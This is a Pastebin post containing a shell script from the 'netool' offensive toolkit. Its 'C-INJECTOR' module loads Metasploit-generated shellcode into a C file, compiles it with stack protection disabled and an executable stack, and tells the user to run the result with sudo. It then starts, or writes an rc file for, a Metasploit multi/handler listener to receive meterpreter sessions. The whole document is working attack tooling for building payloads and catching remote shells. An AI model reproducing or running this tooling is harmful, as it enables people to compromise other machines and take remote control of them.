Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/sh
- ###########################################################
- # -[ NET00L.SH T00LKIT - C-INJECTOR MODULE ]- #
- # #
- # This script as build to be inserted as a funtion on #
- # netool toolkit and will serve of assistance to execute #
- # shellcode on Unix/Bsd based distros through a C funtion #
- # 'THIS SCRIPT WILL NOT WORK OUTSIDE THE TOOLKIT' #
- #---------------------------------------------------------#
- # Author: [r00t-3xp10it] Suspicious Shell Activity Labs #
- # H0me: peterubuntu10[at]sourceforge[dot]net #
- ###########################################################
- # ---------------------------------------------------------------------
- # FORM QUERY TO INSERT ON 'PRIV8.SH - SHELLCODE GENERATOR MODULE'
- # JUST AFTER THE SHELLCODE BE OUTPUTED INTO TEXT FORMAT (shellcode.txt)
- # ---------------------------------------------------------------------
- ans=$(zenity --list --title "SHELLCODE GENERATOR" --text "Chose what to do with the generated shellcode\n\nInject shellcode into a C funtion\nStart a metasploit listenner\nOr just leave this module\n\nIf 'Just Leave' as selected then 'shell_listenner.rc'\nWill be writen under: opensource/priv8 if you wish\nTo start a Listenner later with this msf settings." --radiolist --column "Pick" --column "Option" TRUE "exec.c Injector" FALSE "Start a Listenner" FALSE "Just exit" --width 300 --height 320) > /dev/null 2>&1
- # -----------------------------------------------
- # INJECT SHELLCODE INTO A 'C' FUNTION IF SELECTED
- # -----------------------------------------------
- if [ "$ans" "=" "exec.c Injector" ]; then
- # Variable declarations
- H0m3=`echo ~`
- Sh3LL="$H0m3/opensource/priv8/shellcode.txt"
- InJEc="$H0m3/opensource/modules/exec.c"
- # -----------------------------------
- # checking dependencies
- # -----------------------------------
- #check if shellcode.txt exists
- if [ -e $Sh3LL ]; then
- echo ${BlueF}[*]${RedF}::${BlueF}[SHELLCODE]${RedF}::${GreenF}[ FILE FOUND ]${Reset};
- sleep 2
- else
- echo ${RedF}[x]::[SHELLCODE.TXT]::[ NOT FOUND ]${Reset};
- zenity --error --text "Make sure you have build the shellcode befor...\n\nshellcode.txt as to be stored under\n'opensource/priv8' folder Befor it\ncan be Injected into a 'C' funtion." --width 450 > /dev/null 2>&1
- echo ${BlueF}[*]${RedF}::${BlueF}[PRESS ENTER TO EXIT MODULE]${Reset};
- read op
- exit
- fi
- #check if injector exists
- if [ -e $InJEc ]; then
- echo ${BlueF}[*]${RedF}::${BlueF}[INJECTOR]${RedF}::${GreenF}[ FILE FOUND ]${Reset};
- sleep 2
- else
- echo ${RedF}[x]::[exec.c]::[ NOT FOUND ]${Reset};
- zenity --error --text "Download the C-INJECTOR from\nMy PasteBin account and place it\nOn 'opensource/modules' folder" --width 330 > /dev/null 2>&1
- echo ${BlueF}[*]${RedF}::${BlueF}[HELP URL]${RedF}::${GreenF}[ http://pastebin.com/WkBEWM8x ]${Reset};
- echo ${BlueF}[*]${RedF}::${BlueF}[PRESS ENTER TO EXIT MODULE]${Reset};
- read op
- zenity --title="SHELLCODE OUTPUT" --text "STORED UNDER:\n/opensource/priv8/shellcode.txt" --info > /dev/null 2>&1
- exit
- fi
- #check if gcc exists
- c0m=`which gcc`> /dev/null 2>&1
- if [ -e $c0m ]; then
- echo ${BlueF}[*]${RedF}::${BlueF}[GCC]${RedF}::${GreenF}[ INSTALLATION FOUND ]${Reset};
- sleep 2
- else
- echo ${RedF}[x]::[GCC]::[ NOT FOUND ]${Reset};
- zenity --error --text "Install GCC Package Befor Using\nThis 'C-INJECTOR' Module ...\n\nPlease visite my WKI for\nFurther info about gcc." --width 350 > /dev/null 2>&1
- echo ${BlueF}[*]${RedF}::${BlueF}[HELP URL]${RedF}::${GreenF}[ http://goo.gl/hMuCor ]${Reset};
- echo ${BlueF}[*]${RedF}::${BlueF}[PRESS ENTER TO EXIT MODULE]${Reset};
- read op
- zenity --title="SHELLCODE OUTPUT" --text "STORED UNDER:\n/opensource/priv8/shellcode.txt" --info > /dev/null 2>&1
- exit
- fi
- # -----------------------------------
- # BANNER DISPLAY AND MAIN FUNTION
- # -----------------------------------
- cat << !
- ____ __ __ __ __ _____ ____ _____ _____ _____
- (( || ||\\|| || ||== (( || (( )) ||_//
- \\__ || || || \|| |__|| ||___ \\__ || \\_// || \\
- Build shellcode in C format using metasploit framework
- "or use shellcode in C output" and execute it on UNIX/BSD
- based distros using this injector, this module allows
- you to run your shellcode outputed in 'C' format.
- !
- # EDITING/BACKUP FILES NEEDED
- cp $InJEc ~/opensource/modules/exec[bak].c
- zenity --title="Inject the shellcode onto exec.c" --text "copy the generated shellcode from shellcode.txt\ninto the injector Funtion 'unsigned char code[] ='\nReplacing the existing shellcode by our own." --info --width 430 > /dev/null 2>&1
- gedit $InJEc & cat $Sh3LL | zenity --text-info --width 600 > /dev/null 2>&1
- # COMPILING SHELLCODE USING GCC
- cd ~/opensource/modules
- echo ${BlueF}[*]${RedF}::${GreenF}[ COMPILING SHELLCODE USING GCC ]:: ${Reset};
- gcc -fno-stack-protector -z execstack exec.c -o shellcode
- mv shellcode ~/opensource/priv8/shellcode
- # CLEANING EVERYTHING UP
- mv ~/opensource/modules/exec[bak].c $InJEc
- zenity --title="C-INJECTOR OUTPUT" --text "STORED UNDER:\n/opensource/priv8/shellcode\n\nEXECUTE:\nChmod +x shellcode\nsudo ./shellcode" --info > /dev/null 2>&1
- echo ${BlueF}[*]${RedF}::${BlueF}[PRESS ENTER TO START A LISTENNER]${Reset};
- read op
- # START METASPLOIT LISTENNER (multi-handler with the rigth payload)
- echo ${BlueF}[*]${RedF}::${BlueF}[please wait]:${white} starting metasploit listenner... ${Reset};
- echo ${RedF}[x]::[warning]: press [ctrl+c] or [exit] to 'exit' meterpreter shell ${Reset};
- xterm -T "r00tsect0r - Shellcode listenner" -geometry 110x23 -e "msfcli exploit/multi/handler LHOST=$lhost LPORT=$lport PAYLOAD=$paylo E"
- sleep 2
- clear
- elif [ "$ans" "=" "Start a Listenner" ]; then
- # START METASPLOIT LISTENNER (multi-handler with the rigth payload)
- zenity --title="SHELLCODE OUTPUT" --text "STORED UNDER:\n/opensource/priv8/shellcode.txt" --info > /dev/null 2>&1
- echo ${BlueF}[*]${RedF}::${BlueF}[please wait]:${white} starting metasploit listenner... ${Reset};
- echo ${RedF}[x]::[warning]: press [ctrl+c] or [exit] to 'exit' meterpreter shell ${Reset};
- xterm -T "r00tsect0r - Shellcode listenner" -geometry 110x23 -e "msfcli exploit/multi/handler LHOST=$lhost LPORT=$lport PAYLOAD=$paylo E"
- sleep 2
- clear
- elif [ "$ans" "=" "Just exit" ]; then
- # QUIT MODULE WITHOUT START A LISTENNER
- echo ${RedF}[x]::[ QUITTING MODULE ]${Reset};
- zenity --title="SHELLCODE OUTPUT" --text "STORED UNDER:\n/opensource/priv8/shellcode.txt" --info > /dev/null 2>&1
- echo ${BlueF}[*]${RedF}::${BlueF}[please wait]:${GreenF}[ BUILDING RC FILE ] ${Reset};
- # shellcode.txt will be stored under '/opensource/priv8/' and
- # 'shell_listenner.rc' file with msf settings will be stored under
- # '/opensource/priv8/' if we wish to start a listenner later...
- cd ~/opensource/priv8
- touch shell_listenner.rc
- echo "use exploit/multi/handler" >> shell_listenner.rc
- echo "set PAYLOAD $paylo" >> shell_listenner.rc
- echo "set LPORT $lport" >> shell_listenner.rc
- echo "set LHOST $lhost" >> shell_listenner.rc
- echo "set ExitOnSession false" >> shell_listenner.rc
- echo "exploit -j -z" >> shell_listenner.rc
- zenity --info --title "BUILDING RC CONF FILE" --text "How to run your listenner later:\nmsfconsole -r shell_listenner.rc\n\nStorage: /opensource/priv8/" --width 340 > /dev/null 2>&1
- sleep 2
- clear
- else
- # IN 'PRIV8.SH' WE CHOSE NOT TO RUN ANY OPTION PRESENTED (cancel button)
- echo ${RedF}[x]::[CANCEL OPTION ]::[ QUITTING MODULE ]${Reset};
- zenity --title="SHELLCODE OUTPUT" --text "STORED UNDER:\n/opensource/priv8/shellcode.txt" --info > /dev/null 2>&1
- echo ${BlueF}[*]${RedF}::${BlueF}[please wait]:${GreenF}[ BUILDING RC FILE ] ${Reset};
- # shellcode.txt will be stored under '/opensource/priv8/' and
- # 'shell_listenner.rc' file with msf settings will be stored under
- # '/opensource/priv8/' if we wish to start a listenner later...
- cd ~/opensource/priv8
- touch shell_listenner.rc
- echo "use exploit/multi/handler" >> shell_listenner.rc
- echo "set PAYLOAD $paylo" >> shell_listenner.rc
- echo "set LPORT $lport" >> shell_listenner.rc
- echo "set LHOST $lhost" >> shell_listenner.rc
- echo "set ExitOnSession false" >> shell_listenner.rc
- echo "exploit -j -z" >> shell_listenner.rc
- zenity --info --title "BUILDING RC CONF FILE" --text "How to run your listenner later:\nmsfconsole -r shell_listenner.rc\n\nStorage: /opensource/priv8/" --width 340 > /dev/null 2>&1
- sleep 2
- clear
- fi
- # EOF
Advertisement
Add Comment
Please, Sign In to add comment